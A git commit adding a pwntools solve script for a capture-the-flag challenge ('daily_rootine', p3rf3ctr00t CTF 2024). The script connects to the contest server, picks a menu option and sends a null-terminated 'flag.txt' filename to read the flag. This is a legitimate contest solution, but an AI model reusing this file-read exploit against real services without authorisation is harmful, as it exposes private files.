From f8e6ea66d23fed85b4ef56ed155134b069a34f95 Mon Sep 17 00:00:00 2001 From: jc Date: Mon, 18 Nov 2024 19:46:59 +0300 Subject: [PATCH] solve script --- p3rf3ctr00t_ctf_2024/daily_rootine/a.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 p3rf3ctr00t_ctf_2024/daily_rootine/a.py diff --git a/p3rf3ctr00t_ctf_2024/daily_rootine/a.py b/p3rf3ctr00t_ctf_2024/daily_rootine/a.py new file mode 100644 index 0000000..b3c85d0 --- /dev/null +++ b/p3rf3ctr00t_ctf_2024/daily_rootine/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./challenge", checksec=False) +# r = process() +r = remote("94.72.112.248", 5050) + +# funcs +s = lambda a: r.sendlineafter(b"> ", a) +ss = lambda a: r.sendline(a) + +# buf +s(b"12") +ss(b"flag.txt\0") + +r.interactive() \ No newline at end of file